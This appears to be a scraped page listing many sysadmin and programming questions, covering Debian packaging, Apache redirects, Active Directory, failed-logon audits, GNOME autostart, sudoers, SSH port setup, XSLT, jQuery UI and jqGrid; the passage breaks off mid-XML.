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  • Getting file not found error with pdebuild

    - by user35042
    I am attempting to build a Debian package using pdebuild on my main development server (running Debian wheezy). Here is the command I run: pdebuild --pbuilder cowbuilder --buildresult .. \ --debbuildopts -i -- \ --basepath /var/cache/pbuilder/base-wheezy.cow \ --distribution wheezy --configfile /etc/pbuilder/wheezy This works on other servers, but on one server I get this output: I: using cowbuilder as pbuilder dpkg-buildpackage: source package libexample-orange-util-perl dpkg-buildpackage: source version 0.08 dpkg-buildpackage: source changed by John User <[email protected]> dpkg-source -i --before-build libexample-orange-util-perl fakeroot debian/rules clean dh clean dh_testdir dh_auto_clean dh_clean dpkg-source -i -b libexample-orange-util-perl dpkg-source: info: using source format `3.0 (native)' dpkg-source: info: building libexample-orange-util-perl in libexample-orange-util-perl_0.08.tar.gz dpkg-source: info: building libexample-orange-util-perl in libexample-orange-util-perl_0.08.dsc dpkg-genchanges -S >../libexample-orange-util-perl_0.08_source.changes dpkg-genchanges: including full source code in upload dpkg-source -i --after-build libexample-orange-util-perl dpkg-buildpackage: source only upload: Debian-native package File not found: ../libexample-orange-util-perl_0.08.dsc There is no file ../libexample-orange-util-perl_0.08.dsc, but on other build servers no such file is needed (it gets created by the package build). What is causing this "file not found" error?

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  • 9000+ different subdomains 301 to main domain, .htacess apache

    - by Karim
    I bought a domain that had various subdomains such as Kim.domain.com/whatever john.domain.com/whatever1 Lizo.domain.com/whatever2 Simon.domain.com/whatever1 And this was in the thousands, and also had links to these pages I'd like to do a 301 redirect for all these urls into http://domain.com Any idea how this could be done? This is for a apache web server and needs to be done via .htaccess I have implemented the solution from reading the answer below. RewriteEngine On RewriteCond %{HTTP_HOST} !^www. domain.com$ RewriteCond %{HTTP_HOST} !^$ RewriteRule ^/(.*)$ http:/ / www. domain.com/$1 [L,R=301] However I have a slight problem, I would like to redirect all subdomains + subfolders to http://www. domain.com/ With the exception of http: //domain. com/subfolder/, in which case I would like to redirect to http: // www.domain. com/subfolder/ [i.e. exception for no subdomain] I'm guessing I need to add an exception, what can I do to implement this. Note: example URLs above have had spaces added to them to prevent spam blocks for blocking the post.

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  • Cross-forest universal groups on Windows Server?

    - by DotGeorge
    I would like to create a Universal Group whose members are a mix of cross-forests users and groups. In the following example, two forests are mentioned (US and UK) and two domains in each forest (GeneralStaff and Java): For example, the universalDevelopers group may comprise of members from UK.Java.Developers and US.Java.Developers. Then, for example, there may be a group of universalSales which contains the users UK.GeneralStaff.John and US.GeneralStaff.Dave. In UK forest at the minute, I can freely add members and groups from the UK. But there is no way to add members from the US forest, despite having a two-way trust in place... e.g. I can login with US members into UK and vice-versa. A further complication is that, with a Universal group in the UK (which contains three domains), I can only add two of the three. It can't see the third. Could people please provide some thoughts on why cross-forest groups can't be created and ways of 'seeing' all domains within a forest. EDIT: This is on a combination of Windows 2003 and 2008 server. Answers can be regarding either. Thanks!

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  • Diagnosing Logon Audit Failure event log entries

    - by Scott Mitchell
    I help a client manage a website that is run on a dedicated web server at a hosting company. Recently, we noticed that over the last two weeks there have been tens of thousands of Audit Failure entries in the Security Event Log with Task Category of Logon - these have been coming in about every two seconds, but interesting stopped altogether as of two days ago. In general, the event description looks like the following: An account failed to log on. Subject: Security ID: SYSTEM Account Name: ...The Hosting Account... Account Domain: ...The Domain... Logon ID: 0x3e7 Logon Type: 10 Account For Which Logon Failed: Security ID: NULL SID Account Name: david Account Domain: ...The Domain... Failure Information: Failure Reason: Unknown user name or bad password. Status: 0xc000006d Sub Status: 0xc0000064 Process Information: Caller Process ID: 0x154c Caller Process Name: C:\Windows\System32\winlogon.exe Network Information: Workstation Name: ...The Domain... Source Network Address: 173.231.24.18 Source Port: 1605 The value in the Account Name field differs. Above you see "david" but there are ones with "john", "console", "sys", and even ones like "support83423" and whatnot. The Logon Type field indicates that the logon attempt was a remote interactive attempt via Terminal Services or Remote Desktop. My presumption is that these are some brute force attacks attempting to guess username/password combinations in order to log into our dedicated server. Are these presumptions correct? Are these types of attacks pretty common? Is there a way to help stop these types of attacks? We need to be able to access the desktop via Remote Desktop so simply turning off that service is not feasible. Thanks

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  • Sharepoint AD imported users are becomming sporadically corrupted, causing us to have to create a ne

    - by TrevJen
    Sharepoint 2007 MOSS with AD imported users. All servers are 2008. I have around 50 users, over the past 2 months, I have had a handful of the users suddenly unable to login to Sharepoint. When they login, they either get a blank screen or they are repropmted. These users are using accounts that have been used for many months, sometimes the problem originates with a password change. In all cases, the users account works on every other Active Directory authenticated resource (domain, exchange, LDAP). In the most recent case, last night I was forced deleted a user ("John smith") because of corruption. The orifinal account name was jsmith. I deleted him from active directory, then deleted him from the profile list in Sharepoint Shared Services. I could not find a way to delete him from the Sharepoint user list, but I reran the import after recreating his account (renamed it too just to be sure to "smithj"). At first, this did not wor, the user could still access all other resources but Sharepoint. then, some 30 minutes later it inexplicably started working. This morning, the user changed passwords, which immediatly broke the login on Sharepoint again. I am at a loss on how to troubleshoot this.

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  • Linux Startup Script after Gnome Login

    - by Eric
    I have a Fedora server that I want to spawn an interactive python script after the user logs on. This script will ask the user for various types of information for configuring the system or it will search for the previous config file and show them the predefined information. Originally I was going to put this in rc.local or make it run with init.d but that messed up the boot due to how the script is spawned. So I would like this script to run as soon as the user logs in to Gnome. I've searched around quite a bit and found this answer which appears to be exactly what I want, but it isn't working the way I want it to. Below is my entry. [Desktop Entry] Name=MyScript GenericName=Script for initial configuration Comment=I really want this to work Exec=/usr/local/bin/myscript.sh Terminal=true Type=Application X-GNOME-Autostart-enabled=true Whenever I login, nothing happens. So I then did a test to modified "myscript.sh" to just echo some text to a file and it worked fine. So it appears the portion that isn't working is the script popping open a terminal and waiting for the users input. Are there any additional options I need to add to make this work? I can confirm when I run /usr/local/bin/myscript.sh from the CLI it works fine. I have also tried adding "StartupNotify=true" and still no luck. Edit @John - I tried moving my Exec= to /usr/local/bin/myscript-test and this is what myscript-test contains. #!/bin/bash xterm -e /usr/local/bin/myscript.sh Yet again, when I just run the myscript-test it works fine. However when I put that in my autostart, nothing happens. Edit 2 - I did a few more tests and it did start working but I had to remove Terminal=True before the xterm would pop. Thanks for your help.

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  • 3000 videos songs... some are loud in voice & some low.. I want to make them equal (equal in volume only)

    - by Mister.9
    I have thousands Video flv/avi files, which are all songs only. Some of them are high in volume and some are low. Every time the song ends I have to up or down the volume at once..to escape my ears ruined by headphones... and by woofers, save my life from my neighbor sleeping after hard-earning all the day long. :-( Any idea to make all files sound equal? Does such kind of application/software exist? Any converter that may convert all audio files into same volume? I know iTunes has sound-check option but can it convert? If I want to write CDs, does any burner have the feature like this, to burn in equal sound? If yes, suggest something for me... For, I am really really worried... It would be a great help..... Hoping your kind reply, Thanks in advance! (I am I am John.martin188@yahoo for having mails also in this regard)

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  • How to minimize the risk of employees spreading critical information?

    - by Industrial
    Hi everyone, What's common sense when it comes to minimising the risk of employees spreading critical information to rivalling companies? As of today, it's clear that not even the US government and military can be sure that their data stays safely within their doors. Thereby I understand that my question probably instead should be written as "What is common sense to make it harder for employees to spread business critical information?" If anyone would want to spread information, they will find a way. That's the way life work and always has. If we make the scenario a bit more realistic by narrowing our workforce by assuming we only have regular John Does onboard and not Linux-loving sysadmins , what should be good precautions to at least make it harder for the employees to send business-critical information to the competition? As far as I can tell, there's a few obvious solutions that clearly has both pros and cons: Block services such as Dropbox and similar, preventing anyone to send gigabytes of data through the wire. Ensure that only files below a set size can be sent as email (?) Setup VLANs between departments to make it harder for kleptomaniacs and curious people to snoop around. Plug all removable media units - CD/DVD, Floppy drives and USB Make sure that no configurations to hardware can be made (?) Monitor network traffic for non-linear events (how?) What is realistic to do in a real world? How does big companies handle this? Sure, we can take the former employer to court and sue, but by then the damage has already been caused... Thanks a lot

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  • How to add a user to Wheel group?

    - by Natasha Thapa
    I am trying to add a use to wheel group using in a Ubuntu server. sudo usermod -aG wheel john I get: usermod: group 'wheel' does not exist On my /etc/sudoers I have this: > cat /etc/sudoers > # sudoers file. > # > # This file MUST be edited with the 'visudo' command as root. > # > # See the sudoers man page for the details on how to write a sudoers file. > # > > # Host alias specification > > # User alias specification > > # Cmnd alias specification > > # Defaults specification > > # User privilege specification root ALL=(ALL) ALL %root ALL=(ALL) NOPASSWD: ALL > > %wheel ALL=(ALL) NOPASSWD: ALL Do I have to do groupadd of wheel?

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  • SSH & SFTP: Should I assign one port to each user to facilitate bandwidth monitoring?

    - by BertS
    There is no easy way to track real-time per-user bandwidth usage for SSH and SFTP. I think assigning one port to each user may help. Idea of implementation Use case Bob, with UID 1001, shall connect on port 31001. Alice, with UID 1002, shall connect on port 31002. John, with UID 1003, shall connect on port 31003. (I do not want to lauch several sshd instances as proposed in question 247291.) 1. Setup for SFTP: In /etc/ssh/sshd_config: Port 31001 Port 31002 Port 31003 Subsystem sftp /usr/bin/sftp-wrapper.sh The file sftp-wrapper.sh starts the sftp server only if the port is the correct one: #!/bin/sh mandatory_port=3`id -u` current_port=`echo $SSH_CONNECTION | awk '{print $4}'` if [ $mandatory_port -eq $current_port ] then exec /usr/lib/openssh/sftp-server fi 2. Additional setup for SSH: A few lines in /etc/profile prevents the user from connecting on the wrong port: if [ -n "$SSH_CONNECTION" ] then mandatory_port=3`id -u` current_port=`echo $SSH_CONNECTION | awk '{print $4}'` if [ $mandatory_port -ne $current_port ] then echo "Please connect on port $mandatory_port." exit 1 fi fi Benefits Now it should be easy to monitor per-user bandwidth usage. A Rrdtool-based application could produce charts like this: I know this won't be a perfect calculation of the bandwidth usage: for example, if somebody launches a bruteforce attack on port 31001, there will be a lot of traffic on this port although not from Bob. But this is not a problem to me: I do not need an exact computation of per-user bandwidth usage, but an indicator that is approximately correct in standard situations. Questions Is the idea of assigning one port for each user is a good one? Is the proposed setup an reliable one? If I have to open dozens of ports for many users, should I expect a performance drawback? Do you know a rrdtool-based application which could make the chart above?

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  • How to minimize the risk of employees spreading critical information? [closed]

    - by Industrial
    What's common sense when it comes to minimising the risk of employees spreading critical information to rivalling companies? As of today, it's clear that not even the US government and military can be sure that their data stays safely within their doors. Thereby I understand that my question probably instead should be written as "What is common sense to make it harder for employees to spread business critical information?" If anyone would want to spread information, they will find a way. That's the way life work and always has. If we make the scenario a bit more realistic by narrowing our workforce by assuming we only have regular John Does onboard and not Linux-loving sysadmins , what should be good precautions to at least make it harder for the employees to send business-critical information to the competition? As far as I can tell, there's a few obvious solutions that clearly has both pros and cons: Block services such as Dropbox and similar, preventing anyone to send gigabytes of data through the wire. Ensure that only files below a set size can be sent as email (?) Setup VLANs between departments to make it harder for kleptomaniacs and curious people to snoop around. Plug all removable media units - CD/DVD, Floppy drives and USB Make sure that no configurations to hardware can be made (?) Monitor network traffic for non-linear events (how?) What is realistic to do in a real world? How does big companies handle this? Sure, we can take the former employer to court and sue, but by then the damage has already been caused... Thanks a lot

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  • xslt cookbook example not working

    - by Liza dawson
    Hi I am working on this from xslt cookbook type my.xml <?xml version="1.0" encoding="UTF-8"?> <people> <person name="Al Zehtooney" age="33" sex="m" smoker="no"/> <person name="Brad York" age="38" sex="m" smoker="yes"/> <person name="Charles Xavier" age="32" sex="m" smoker="no"/> <person name="David Williams" age="33" sex="m" smoker="no"/> <person name="Edward Ulster" age="33" sex="m" smoker="yes"/> <person name="Frank Townsend" age="35" sex="m" smoker="no"/> <person name="Greg Sutter" age="40" sex="m" smoker="no"/> <person name="Harry Rogers" age="37" sex="m" smoker="no"/> <person name="John Quincy" age="43" sex="m" smoker="yes"/> <person name="Kent Peterson" age="31" sex="m" smoker="no"/> <person name="Larry Newell" age="23" sex="m" smoker="no"/> <person name="Max Milton" age="22" sex="m" smoker="no"/> <person name="Norman Lamagna" age="30" sex="m" smoker="no"/> <person name="Ollie Kensington" age="44" sex="m" smoker="no"/> <person name="John Frank" age="24" sex="m" smoker="no"/> <person name="Mary Williams" age="33" sex="f" smoker="no"/> <person name="Jane Frank" age="38" sex="f" smoker="yes"/> <person name="Jo Peterson" age="32" sex="f" smoker="no"/> <person name="Angie Frost" age="33" sex="f" smoker="no"/> <person name="Betty Bates" age="33" sex="f" smoker="no"/> <person name="Connie Date" age="35" sex="f" smoker="no"/> <person name="Donna Finster" age="20" sex="f" smoker="no"/> <person name="Esther Gates" age="37" sex="f" smoker="no"/> <person name="Fanny Hill" age="33" sex="f" smoker="yes"/> <person name="Geta Iota" age="27" sex="f" smoker="no"/> <person name="Hillary Johnson" age="22" sex="f" smoker="no"/> <person name="Ingrid Kent" age="21" sex="f" smoker="no"/> <person name="Jill Larson" age="20" sex="f" smoker="no"/> <person name="Kim Mulrooney" age="41" sex="f" smoker="no"/> <person name="Lisa Nevins" age="21" sex="f" smoker="no"/> </people> type generic-attr-to-csv.xslt <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:csv="http://www.ora.com/XSLTCookbook/namespaces/csv"> <xsl:param name="delimiter" select=" ',' "/> <xsl:output method="text" /> <xsl:strip-space elements="*"/> <xsl:template match="/"> <xsl:for-each select="$columns"> <xsl:value-of select="@name"/> <xsl:if test="position( ) != last( )"> <xsl:value-of select="$delimiter/> </xsl:if> </xsl:for-each> <xsl:text>&#xa;</xsl:text> <xsl:apply-templates/> </xsl:template> <xsl:template match="/*/*"> <xsl:variable name="row" select="."/> <xsl:for-each select="$columns"> <xsl:apply-templates select="$row/@*[local-name(.)=current( )/@attr]" mode="csv:map-value"/> <xsl:if test="position( ) != last( )"> <xsl:value-of select="$delimiter"/> </xsl:if> </xsl:for-each> <xsl:text>&#xa;</xsl:text> </xsl:template> <xsl:template match="@*" mode="map-value"> <xsl:value-of select="."/> </xsl:template> </xsl:stylesheet> type my.xsl <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:csv="http://www.ora.com/XSLTCookbook/namespaces/csv"> <xsl:import href="generic-attr-to-csv.xslt"/> <!--Defines the mapping from attributes to columns --> <xsl:variable name="columns" select="document('')/*/csv:column"/> <csv:column name="Name" attr="name"/> <csv:column name="Age" attr="age"/> <csv:column name="Gender" attr="sex"/> <csv:column name="Smoker" attr="smoker"/> <!-- Handle custom attribute mappings --> <xsl:template match="@sex" mode="csv:map-value"> <xsl:choose> <xsl:when test=".='m'">male</xsl:when> <xsl:when test=".='f'">female</xsl:when> <xsl:otherwise>error</xsl:otherwise> </xsl:choose> </xsl:template> </xsl:stylesheet> using the apache xalan parser D:\Test>java org.apache.xalan.xslt.Process -in my.xml -xsl my.xsl -out my.csv [Fatal Error] generic-attr-to-csv.xslt:15:6: The value of attribute "select" associated with an element type "xsl:v alue-of" must not contain the '<' character. file:///D:/Test/generic-attr-to-csv.xslt; Line #15; Column #6; org.xml.sax.SAXParseException: The value of attribut e "select" associated with an element type "xsl:value-of" must not contain the '<' character. java.lang.NullPointerException at org.apache.xalan.transformer.TransformerImpl.createSerializationHandler(TransformerImpl.java:1171) at org.apache.xalan.transformer.TransformerImpl.createSerializationHandler(TransformerImpl.java:1060) at org.apache.xalan.transformer.TransformerImpl.transform(TransformerImpl.java:1268) at org.apache.xalan.transformer.TransformerImpl.transform(TransformerImpl.java:1251) at org.apache.xalan.xslt.Process.main(Process.java:1048) Exception in thread "main" java.lang.RuntimeException at org.apache.xalan.xslt.Process.doExit(Process.java:1155) at org.apache.xalan.xslt.Process.main(Process.java:1128) Any ideas what am i doing wrong

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  • With a jquery modular dialog how do I stop the form values from persisting?

    - by stormist
    (Citing source at: http://jqueryui.com/demos/dialog/#modal-form) As an example, this works great but each time the form is subsequently opened the user entered values remain. How can I stop this behavior? (the form will be used multiple times on the same page. <style type="text/css"> body { font-size: 62.5%; } label, input { display:block; } input.text { margin-bottom:12px; width:95%; padding: .4em; } fieldset { padding:0; border:0; margin-top:25px; } h1 { font-size: 1.2em; margin: .6em 0; } div#users-contain { width: 350px; margin: 20px 0; } div#users-contain table { margin: 1em 0; border-collapse: collapse; width: 100%; } div#users-contain table td, div#users-contain table th { border: 1px solid #eee; padding: .6em 10px; text-align: left; } .ui-dialog .ui-state-error { padding: .3em; } .validateTips { border: 1px solid transparent; padding: 0.3em; } </style> <script type="text/javascript"> $(function() { // a workaround for a flaw in the demo system (http://dev.jqueryui.com/ticket/4375), ignore! $("#dialog").dialog("destroy"); var name = $("#name"), email = $("#email"), password = $("#password"), allFields = $([]).add(name).add(email).add(password), tips = $(".validateTips"); function updateTips(t) { tips .text(t) .addClass('ui-state-highlight'); setTimeout(function() { tips.removeClass('ui-state-highlight', 1500); }, 500); } function checkLength(o,n,min,max) { if ( o.val().length > max || o.val().length < min ) { o.addClass('ui-state-error'); updateTips("Length of " + n + " must be between "+min+" and "+max+"."); return false; } else { return true; } } function checkRegexp(o,regexp,n) { if ( !( regexp.test( o.val() ) ) ) { o.addClass('ui-state-error'); updateTips(n); return false; } else { return true; } } $("#dialog-form").dialog({ autoOpen: false, height: 300, width: 350, modal: true, buttons: { 'Create an account': function() { var bValid = true; allFields.removeClass('ui-state-error'); bValid = bValid && checkLength(name,"username",3,16); bValid = bValid && checkLength(email,"email",6,80); bValid = bValid && checkLength(password,"password",5,16); bValid = bValid && checkRegexp(name,/^[a-z]([0-9a-z_])+$/i,"Username may consist of a-z, 0-9, underscores, begin with a letter."); // From jquery.validate.js (by joern), contributed by Scott Gonzalez: http://projects.scottsplayground.com/email_address_validation/ bValid = bValid && checkRegexp(email,/^((([a-z]|\d|[!#\$%&'\*\+\-\/=\?\^_`{\|}~]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])+(\.([a-z]|\d|[!#\$%&'\*\+\-\/=\?\^_`{\|}~]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])+)*)|((\x22)((((\x20|\x09)*(\x0d\x0a))?(\x20|\x09)+)?(([\x01-\x08\x0b\x0c\x0e-\x1f\x7f]|\x21|[\x23-\x5b]|[\x5d-\x7e]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(\\([\x01-\x09\x0b\x0c\x0d-\x7f]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF]))))*(((\x20|\x09)*(\x0d\x0a))?(\x20|\x09)+)?(\x22)))@((([a-z]|\d|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(([a-z]|\d|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])*([a-z]|\d|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])))\.)+(([a-z]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(([a-z]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])*([a-z]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])))\.?$/i,"eg. [email protected]"); bValid = bValid && checkRegexp(password,/^([0-9a-zA-Z])+$/,"Password field only allow : a-z 0-9"); if (bValid) { $('#users tbody').append('<tr>' + '<td>' + name.val() + '</td>' + '<td>' + email.val() + '</td>' + '<td>' + password.val() + '</td>' + '</tr>'); $(this).dialog('close'); } }, Cancel: function() { $(this).dialog('close'); } }, close: function() { allFields.val('').removeClass('ui-state-error'); } }); $('#create-user') .button() .click(function() { $('#dialog-form').dialog('open'); }); }); </script> <div class="demo"> <div id="dialog-form" title="Create new user"> <p class="validateTips">All form fields are required.</p> <form> <fieldset> <label for="name">Name</label> <input type="text" name="name" id="name" class="text ui-widget-content ui-corner-all" /> <label for="email">Email</label> <input type="text" name="email" id="email" value="" class="text ui-widget-content ui-corner-all" /> <label for="password">Password</label> <input type="password" name="password" id="password" value="" class="text ui-widget-content ui-corner-all" /> </fieldset> </form> </div> <div id="users-contain" class="ui-widget"> <h1>Existing Users:</h1> <table id="users" class="ui-widget ui-widget-content"> <thead> <tr class="ui-widget-header "> <th>Name</th> <th>Email</th> <th>Password</th> </tr> </thead> <tbody> <tr> <td>John Doe</td> <td>[email protected]</td> <td>johndoe1</td> </tr> </tbody> </table> </div> <button id="create-user">Create new user</button> </div><!-- End demo --> <div class="demo-description"> <p>Use a modal dialog to require that the user enter data during a multi-step process. Embed form markup in the content area, set the <code>modal</code> option to true, and specify primary and secondary user actions with the <code>buttons</code> option.</p> </div><!-- End demo-description -->

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  • group dynamic data from a List

    - by prince23
    public class SampleProjectData { public static ObservableCollection<Product> GetSampleData() { DateTime dtS = DateTime.Now; ObservableCollection<Product> teams = new ObservableCollection<Product>(); teams.Add(new Product() { PDName = "Product1", OverallStartTime = dtS, OverallEndTime = dtS + TimeSpan.FromDays(3), }); Project emp = new Project() { PName = "Project1", OverallStartTime = dtS + TimeSpan.FromDays(1), OverallEndTime = dtS + TimeSpan.FromDays(6) }; emp.Tasks.Add(new Task() { StartTime = dtS, EndTime = dtS + TimeSpan.FromDays(2), TaskName = "John's Task 3" }); emp.Tasks.Add(new Task() { StartTime = dtS + TimeSpan.FromDays(3), EndTime = dtS + TimeSpan.FromDays(4), TaskName = "John's Task 2" }); teams[0].Projects.Add(emp); emp = new Project() { PName = "Project2", OverallStartTime = dtS + TimeSpan.FromDays(1.5), OverallEndTime = dtS + TimeSpan.FromDays(5.5) }; emp.Tasks.Add(new Task() { StartTime = dtS + TimeSpan.FromDays(1), EndTime = dtS + TimeSpan.FromDays(4), TaskName = "Victor's Task" }); teams[0].Projects.Add(emp); emp = new Project() { PName = "Project3", OverallStartTime = dtS + TimeSpan.FromDays(2), OverallEndTime = dtS + TimeSpan.FromDays(5) }; emp.Tasks.Add(new Task() { StartTime = dtS + TimeSpan.FromDays(1), EndTime = dtS + TimeSpan.FromDays(4), TaskName = "Jason's Task 1" }); emp.Tasks.Add(new Task() { StartTime = dtS + TimeSpan.FromDays(7), EndTime = dtS + TimeSpan.FromDays(9), TaskName = "Jason's Task 2" }); teams[0].Projects.Add(emp); teams.Add(new Product() { PDName = "Product2", OverallStartTime = dtS, OverallEndTime = dtS + TimeSpan.FromDays(3) }); emp = new Project() { PName = "Project4", OverallStartTime = dtS + TimeSpan.FromDays(0.5), OverallEndTime = dtS + TimeSpan.FromDays(3.5) }; emp.Tasks.Add(new Task() { StartTime = dtS + TimeSpan.FromDays(1.5), EndTime = dtS + TimeSpan.FromDays(4), TaskName = "Vicky's Task" }); teams[1].Projects.Add(emp); emp = new Project() { PName = "Project5", OverallStartTime = dtS + TimeSpan.FromDays(2), OverallEndTime = dtS + TimeSpan.FromDays(6) }; emp.Tasks.Add(new Task() { StartTime = dtS + TimeSpan.FromDays(2.2), EndTime = dtS + TimeSpan.FromDays(3.8), TaskName = "Oleg's Task 1" }); emp.Tasks.Add(new Task() { StartTime = dtS + TimeSpan.FromDays(5), EndTime = dtS + TimeSpan.FromDays(6), TaskName = "Oleg's Task 2" }); emp.Tasks.Add(new Task() { StartTime = dtS + TimeSpan.FromDays(8), EndTime = dtS + TimeSpan.FromDays(9.6), TaskName = "Oleg's Task 3" }); teams[1].Projects.Add(emp); emp = new Project() { PName = "Project6", OverallStartTime = dtS + TimeSpan.FromDays(2.5), OverallEndTime = dtS + TimeSpan.FromDays(4.5) }; emp.Tasks.Add(new Task() { StartTime = dtS + TimeSpan.FromDays(0.8), EndTime = dtS + TimeSpan.FromDays(2), TaskName = "Kim's Task" }); teams[1].Projects.Add(emp); teams.Add(new Product() { PDName = "Product3", OverallStartTime = dtS, OverallEndTime = dtS + TimeSpan.FromDays(3) }); emp = new Project() { PName = "Project7", OverallStartTime = dtS + TimeSpan.FromDays(5), OverallEndTime = dtS + TimeSpan.FromDays(7.5) }; emp.Tasks.Add(new Task() { StartTime = dtS + TimeSpan.FromDays(1.5), EndTime = dtS + TimeSpan.FromDays(4), TaskName = "Balaji's Task 1" }); emp.Tasks.Add(new Task() { StartTime = dtS + TimeSpan.FromDays(5), EndTime = dtS + TimeSpan.FromDays(8), TaskName = "Balaji's Task 2" }); teams[2].Projects.Add(emp); emp = new Project() { PName = "Project8", OverallStartTime = dtS + TimeSpan.FromDays(3), OverallEndTime = dtS + TimeSpan.FromDays(6.3) }; emp.Tasks.Add(new Task() { StartTime = dtS + TimeSpan.FromDays(1.75), EndTime = dtS + TimeSpan.FromDays(2.25), TaskName = "Li's Task" }); teams[2].Projects.Add(emp); emp = new Project() { PName = "Project9", OverallStartTime = dtS + TimeSpan.FromDays(2), OverallEndTime = dtS + TimeSpan.FromDays(6) }; emp.Tasks.Add(new Task() { StartTime = dtS + TimeSpan.FromDays(2), EndTime = dtS + TimeSpan.FromDays(3), TaskName = "Stacy's Task" }); teams[2].Projects.Add(emp); return teams; } } above is an sample data where i am grouping them with static data in the same way i need to for teh data which is cmg from DB and i need to store them list all these three data are comig from different services. and i am storing them in a list now i have three tables data Product , Project, Task. all the data are coming from webservies. i have created three list where i am storing the data in list. Listobjpro= new List(); Listobjproduct= new List(); LIstobjTask= new List(); now what i need to do is i need to do the mapping between these tables. if you see above. i have object of Product under Product i have added object of Project and then under project object i have added task object. now from the above data which is stored in the list i need to do the same mapping between class. and group the data. public class Product : INotifyPropertyChanged { public Product() { this.Projects = new ObservableCollection<Project>(); } public string PDName { get; set; } public ObservableCollection<Project> Projects { get; set; } private DateTime _st; public DateTime OverallStartTime { get { return _st; } set { if (this._st != value) { TimeSpan dur = this._et - this._st; this._st = value; this.OnPropertyChanged("OverallStartTime"); this.OverallEndTime = value + dur; } } } private DateTime _et; public DateTime OverallEndTime { get { return _et; } set { if (this._et != value) { this._et = value; this.OnPropertyChanged("OverallEndTime"); } } } #region INotifyPropertyChanged Members protected void OnPropertyChanged(string name) { if (this.PropertyChanged != null) this.PropertyChanged(this, new PropertyChangedEventArgs(name)); } public event PropertyChangedEventHandler PropertyChanged; #endregion } public class Project : INotifyPropertyChanged { public Project() { this.Tasks = new ObservableCollection<Task>(); } public string PName { get; set; } public ObservableCollection<Task> Tasks { get; set; } DateTime _st; public DateTime OverallStartTime { get { return _st; } set { if (this._st != value) { TimeSpan dur = this._et - this._st; this._st = value; this.OnPropertyChanged("OverallStartTime"); this.OverallEndTime = value + dur; } } } DateTime _et; public DateTime OverallEndTime { get { return _et; } set { if (this._et != value) { this._et = value; this.OnPropertyChanged("OverallEndTime"); } } } #region INotifyPropertyChanged Members protected void OnPropertyChanged(string name) { if (this.PropertyChanged != null) this.PropertyChanged(this, new PropertyChangedEventArgs(name)); } public event PropertyChangedEventHandler PropertyChanged; #endregion } public class Task : INotifyPropertyChanged { public string TaskName { get; set; } DateTime _st; public DateTime StartTime { get { return _st; } set { if (this._st != value) { TimeSpan dur = this._et - this._st; this._st = value; this.OnPropertyChanged("StartTime"); this.EndTime = value + dur; } } } private DateTime _et; public DateTime EndTime { get { return _et; } set { if (this._et != value) { this._et = value; this.OnPropertyChanged("EndTime"); } } } #region INotifyPropertyChanged Members protected void OnPropertyChanged(string name) { if (this.PropertyChanged != null) this.PropertyChanged(this, new PropertyChangedEventArgs(name)); } public event PropertyChangedEventHandler PropertyChanged; #endregion }

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  • Why won't jqGrid won't populate initially in Chrome

    - by Maxm007
    Hi, I've got a web page with a jqGrid that uses am xmlreader to populate itself with data that is spat out by a RoR service. The page loads fine in firefox and safari. In Chrome however I get a blank grid. Only when I change the sort order by clicking on the columns does it populate. <html> <head> <title>LocalFx</title> <link href="/stylesheets/main.css?1271423251" media="screen" rel="stylesheet" type="text/css" /> <link href="/stylesheets/redmond/jquery-ui-1.8.custom.css?1271404544" media="screen" rel="stylesheet" type="text/css" /> <link href="/stylesheets/ui.jqgrid.css?1265561560" media="screen" rel="stylesheet" type="text/css" /> <script src="/javascripts/jquery-1.3.2.min.js?1259426008" type="text/javascript"></script> <script src="/javascripts/i18n/grid.locale-en.js?1266140090" type="text/javascript"></script> <script src="/javascripts/jquery.jqGrid.min.js?1271437772" type="text/javascript"></script> <script type="text/javascript"> jQuery().ready(function() { jQuery("#list").jqGrid({ xmlReader: { root:"contracts", row:"contract", repeatitems:false, id:"id" }, jsonReader: { repeatitems:false, root:"contracts" }, datatype: 'xml', url:'http://localhost:3000/contracts/index/all.xml', mtype: 'GET', colNames:['User','B/S', 'Currency', 'Amount', 'Rate'], colModel :[ {name:'user', index:'username', width:100 , xmlmap:'user>username'} , {name:'side', index:'side', width:100 , xmlmap:'side'} , {name:'currency', index:'ccy', width:100 , xmlmap:'currency>ccy'} , {name:'amount', index:'amount', width:100 , xmlmap:'amount'}, {name:'rate', index:'rate', width:100 , xmlmap:'exchange-rate>rate'} ], pager: jQuery('#pager'), caption: 'Contracts', sortname: 'side', sortorder: "asc", viewrecords:true, rowNum:10, rowList:[10,20,30] }); $("#list").trigger("reloadGrid") }); </script> </head> <body> <table id="list" align="center" class="scroll"></table> <div id="pager" class="scroll" style="text-align:center;"></div> </body> </html> This is the xml: <contracts type="array"> <contract> <amount type="float">1000.0</amount> <created-at type="datetime">2010-04-16T13:59:40Z</created-at> <currency-id type="integer">488525179</currency-id> <id type="integer">18277852</id> <side>BUY</side> <updated-at type="datetime">2010-04-16T13:59:40Z</updated-at> <user-id type="integer">830138774</user-id> <exchange-rate> <contract-id type="integer">18277852</contract-id> <created-at type="datetime">2010-04-16T13:59:40Z</created-at> <denccy-id type="integer">890731696</denccy-id> <id type="integer">419011264</id> <numccy-id type="integer">488525179</numccy-id> <rate type="float">1.3</rate> <updated-at type="datetime">2010-04-16T13:59:40Z</updated-at> </exchange-rate> <user> <created-at type="datetime">2010-04-16T13:59:40Z</created-at> <id type="integer">830138774</id> <updated-at type="datetime">2010-04-16T13:59:40Z</updated-at> <username>John Doe</username> </user> <currency> <ccy>EUR</ccy> <created-at type="datetime">2010-04-16T13:59:40Z</created-at> <id 